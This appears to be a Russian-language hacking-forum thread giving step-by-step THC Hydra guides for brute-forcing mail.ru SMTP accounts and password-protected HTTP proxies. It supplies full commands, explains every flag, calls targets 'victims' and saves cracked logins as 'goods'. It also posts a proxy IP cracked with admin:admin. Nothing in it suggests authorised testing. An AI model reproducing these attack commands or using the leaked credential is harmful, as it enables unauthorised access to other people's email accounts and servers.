Мануалы по бруту различных протоколов с помощью THC Hydra

[psihoz26]

Брут SMTP на примере mail.ru

----------------
Не буду лить воду а перейду сразу к действию.
Качаем гидру из этой темы или более старую с офф сайта
----------------

Распаковываем.
Я обычно сую в C:/hydra
Если вы скачали с асечки то сама гидра будет лежать в c:/hydra/bin
А если с офф сайта то в c:/hydra вобщем каквы поняли нам нужен файл hydra.exe

Открываем командную строку или цэемдэ [CMD.EXE]
Пишеи cd {адрес папки с гидрой} например cd C:/hydra
Далее любопытные могут открыть саму гидру дабы почитать про её функции.
Для этого пишем hydra и жмём энтер всё в той-же командной строке.
Мы пропустим это всё и сразу перейдем к настройкам брута для Mail.ru

Подготовка к бруту:
нам нужно сделать 2 файла
Первый - файл с мыльями (далее login.txt ) содержащий строки вида

login@mail.ru
login@bk.ru
login@list.ru
login@inbox.ru

Второй - файл с паролями (далее pass.txt) содержайщий пароли
кладём их в папку с hydra.exe, cоздаём тамже файл good.txt чтобы туда сохранялись гуды(удачные комбинации).

Вродебы всё готово поэтому вернёмся к коммандной строке.
Чтобы запустить наш брут мы вводим вот такой набор символов:

hydra -L login.txt -P pass.txt -v -V -o good.txt smtp.mail.ru smtp

А теперь разберём чтоже мы такое вели тут.

-L login.txt

-L это переменная в которую вводим имя файла с логинами(также можно брутить бод 1 мыло для этого заместа файла пишем -l login@mail.ru при этом буква эль должна быть не заглавная)

-P pass.txt

-P это переменная в которую вводим имя файла с паролями, также как и с логинами можно ставить брут на один пароль

-v -V

эти переменные отвечают за вывод статистики (можете их и не вводить)

-o good.txt

-о это переменная в которую вводим имя файла в который будем сохранять гуды

smtp.mail.ru

адрес жертвы(сервер который брутим)

smtp

протокол который будем брутить

Добавлено через 1 час 9 минут
скоро запилю про rdp ftp и http-proxy)

[psihoz26]

Брут авторизации у http(s) проксей

----------------
Решил перед написанием всего этого вспомнить старое и побрутить прокса
Вот чо снялось:

 [3128][http-proxy] host: 114.134.75.182   login: admin   password: admin

Добавлю попозже в свою тему.
----------------

Для брута прокси нам надо насканить проксей с авторизацией!
Я добавлю это позже а пока про брут.

Файлы которые нам нужно запилить в папке с гидрой:
ip.txt - файл с айпишниками!! (внимание там должны быть только айпи у которых открыт один и тотже порт)
login.txt - файл с логинами
pass.txt - файл с паролями
good.txt - пустой файл куда будут лететь гуды

Набор символов для старта:

hydra -s 3128 -L login.txt -P pass.txt -e sr -v -V -o good.txt -t 50 -M ip.txt http-proxy

Опять разберём что тут такое написали мы:

-s 3128

-s это переменная порта цели (у нас прокси с портом 3128)

-L login.txt

уже знаем из поста #1

-P pass.txt

уже знаем из поста #1

-e sr

переменная -e это особые пароли [значение s - пароль такойже как логин; значение n пустой пароль; значение r - логин наоборот admin = nimda]

-v -V

уже знаем из поста #1

-o good.txt

уже знаем из поста #1

-t 50

переменная -t означает колличество потоков у нас их будет 50

-M ip.txt

в переменную -M надо вписать имя лиса с серверами-жертвами которые мы будим брутить

http-proxy

какбы протокол